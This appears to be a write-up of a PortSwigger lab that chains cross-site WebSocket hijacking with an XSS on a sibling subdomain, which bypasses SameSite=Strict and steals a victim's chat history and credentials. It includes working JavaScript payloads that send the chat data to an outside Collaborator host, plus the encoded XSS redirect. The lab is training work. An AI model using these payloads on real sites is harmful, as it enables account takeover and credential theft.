I just solved a PortSwigger lab where I chained multiple vulnerabilities to take over a victim account. No heavy theory here just the real attack flow and payloads.

🎯 Our Goal

  • Exploit WebSocket
  • Bypass SameSite=Strict
  • Steal victim chat → get credentials → login

🧪 Step 1: Find WebSocket Behavior

Open live chat → send messages → check Burp:

GET /chat  (WebSocket handshake)

Then refresh page → in WebSocket history:

READY → server sends full chat history

💡 That's your entry point.

⚡ Step 2: Test CSWSH

Create basic PoC:

<script>
var ws = new WebSocket('wss://LAB-ID.web-security-academy.net/chat');
ws.onopen = function() {
    ws.send("READY");
};ws.onmessage = function(event) {
    fetch('https://YOUR-COLLAB.oastify.com', {
        method: 'POST',
        mode: 'no-cors',
        body: event.data
    });
};
</script>

👉 Result:
  • You receive chat data in Collaborator
  • BUT only your own session

🚫 Step 3: Why It Failed

Check request:

Cookie: ❌ NOT SENT

Reason:

SameSite=Strict

👉 So cross-site request = no victim session

🧠 Step 4: Find a Way Around (This is Key)

While exploring proxy history, found:

cms-LAB-ID.web-security-academy.net

👉 Open it → login form

Test input:

<script>alert(1)</script>

💥 XSS confirmed

None

🔁 Step 5: Convert POST → GET

In Burp Repeater:

  • Change POST → GET
  • Copy URL

Now you have:

https://cms-LAB-ID/login?username=<script>alert(1)</script>
None

👉 This is important for exploit delivery

🚀 Step 6: Build Final Payload

1. CSWSH script

<script>
var ws = new WebSocket('wss://LAB-ID.web-security-academy.net/chat');ws.onopen = function() {
    ws.send("READY");
};
ws.onmessage = function(event) {
    fetch('https://YOUR-COLLAB.oastify.com', {
        method: 'POST',
        mode: 'no-cors',
        body: event.data
    });
};
</script>

2. URL encode it

Example:

%3Cscript%3Evar%20ws%20%3D...

3. Inject into XSS

Final exploit:

<script>
document.location = "https://cms-LAB-ID.web-security-academy.net/login?username=ENCODED_PAYLOAD&password=test";
</script>
>

💥 Step 7: Why This Works

  • XSS runs on: cms.lab.net
  • WebSocket request goes to: lab.net

👉 Important detail:

Even though these are different subdomains, the browser treats them as the same site because they share the same root domain

web-security-academy.net

👉 Browser logic:

Same SITE → send cookies ✅
Different SITE → block cookies ❌

So when your XSS executes on cms.lab.net, any request it makes to lab.net is considered same-site, not cross-site

That means:

  • SameSite=Strict does NOT block the request
  • The browser automatically includes the victim's session cookie

So now the WebSocket request looks like:

Cookie: SESSION=VICTIM_SESSION

👉 This is the key difference from your earlier attempt:

  • From exploit server → ❌ no cookie (cross-site)
  • From cms subdomain → ✅ cookie included (same-site)

And because the request is now authenticated, the server returns the victim's chat history instead of yours.

📡 Step 8: Exfiltration

In Burp Collaborator:

You get:

victim chat history

Inside it:

username: victim
password: victim's pass
None

🔓 Step 9: Login = Lab Solved

Thanks PortSwigger